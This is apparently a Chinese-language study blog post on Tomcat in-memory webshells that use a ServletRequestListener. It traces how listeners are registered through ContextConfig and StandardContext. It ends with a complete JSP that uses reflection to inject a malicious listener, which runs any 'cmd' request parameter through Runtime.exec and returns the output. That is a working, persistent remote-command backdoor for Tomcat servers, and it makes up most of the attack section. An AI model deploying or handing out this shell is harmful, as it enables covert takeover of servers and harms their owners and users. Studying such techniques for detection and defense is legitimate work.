前言
之前提起过Filter型内存马,继续沿着这个方向走走,没有专门说明这些名词,先跟进吧
学习
Listener分为几种
1 2 3 4 5 6 7 8 9 10 11 12
| ServletContextListener 监听对象: ServletContext(应用上下文) 作用范围: 整个 Web 应用程序(全局范围)。一个 Web 应用只有一个 ServletContext 对象。 主要功能: 监听 Web 应用的启动和销毁事件。 HttpSessionListener 监听对象: HttpSession(用户会话) 作用范围: 用户会话级别。每个与服务器建立会话的用户都会有一个自己的 HttpSession 对象。 主要功能: 监听用户会话的创建和销毁事件。 ServletRequestListener 监听对象: ServletRequest(请求) 作用范围: 单个 HTTP 请求。这是范围最小、触发最频繁的监听器。 主要功能: 监听 HTTP 请求的开始和结束。
|
既然要打内存马,就看看ServletRequestListener吧,在某个请求之前进行监听
简单写一个东西来测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| @WebListener public class MyRequestListener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { long startTime = System.currentTimeMillis(); sre.getServletRequest().setAttribute("startTime", startTime); System.out.println("请求到达: " + ((HttpServletRequest) sre.getServletRequest()).getRequestURI()); } @Override public void requestDestroyed(ServletRequestEvent sre) { long endTime = System.currentTimeMillis(); long startTime = (Long) sre.getServletRequest().getAttribute("startTime"); long duration = endTime - startTime; HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); System.out.println("请求结束: " + request.getRequestURI() + ", 处理耗时: " + duration + "ms"); } }
|
记得在web.xml上添下即可
1 2 3
| <listener> <listener-class>MyRequestListener</listener-class> </listener>
|
每次发包都可以看到请求包的一些信息
现在我们开始调试一下,看看具体的动作如何
随手调了调,没有进入关键地方
可以是从ContextConfig 类开启
看了看师傅,发现,在启动应用的时候,ContextConfig 类会去读取配置文件,所以我们去到 ContextConfig 这个类里面找一下哪个方法是来读取配置文件的。
配置文件就是web.xml
通过对配置文件的处理去打后续断点
1 2 3
| for(String listener : webxml.getListeners()) { this.context.addApplicationListener(listener); }
|
跟进一下这个方法 ,这里只是一个接口
第一个 FailedContext 类里面的 addApplicationListener() 是没东西的,东西在 StandardContext 里面
跟进,这里是在解析web.xml注册了一个监听类
然后跟进一堆东西,走到当前的listenerStart方法,将之前的 Listener 存下来
以上是初始化
正在运行时候呢?
在最开始随便调调的时候,发现始终无法跟进具体的核心服务
StandardContext#fireRequestInitEvent,这个位置打断点,我还是进不去,就着看吧
省略()
往后就是把存储的Listener拿出来,像之前Filter一样,逐个读取,进入requestInitialized() 方法
如何拿出来呢?
关键是,先获取 StandardContext 类,再通过 addApplicationEventListener() 方法把恶意的 Listener 放进去,我们可以控制StandardContext放进去恶意类?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.List" %> <%@ page import="java.util.Arrays" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.ArrayList" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%! class ListenerMemShell implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse(); if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); } } @Override public void requestDestroyed(ServletRequestEvent sre) { } } %> <% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); Object[] objects = standardContext.getApplicationEventListeners(); List<Object> listeners = Arrays.asList(objects); List<Object> arrayList = new ArrayList(listeners); arrayList.add(new ListenerMemShell()); standardContext.setApplicationEventListeners(arrayList.toArray()); %>
|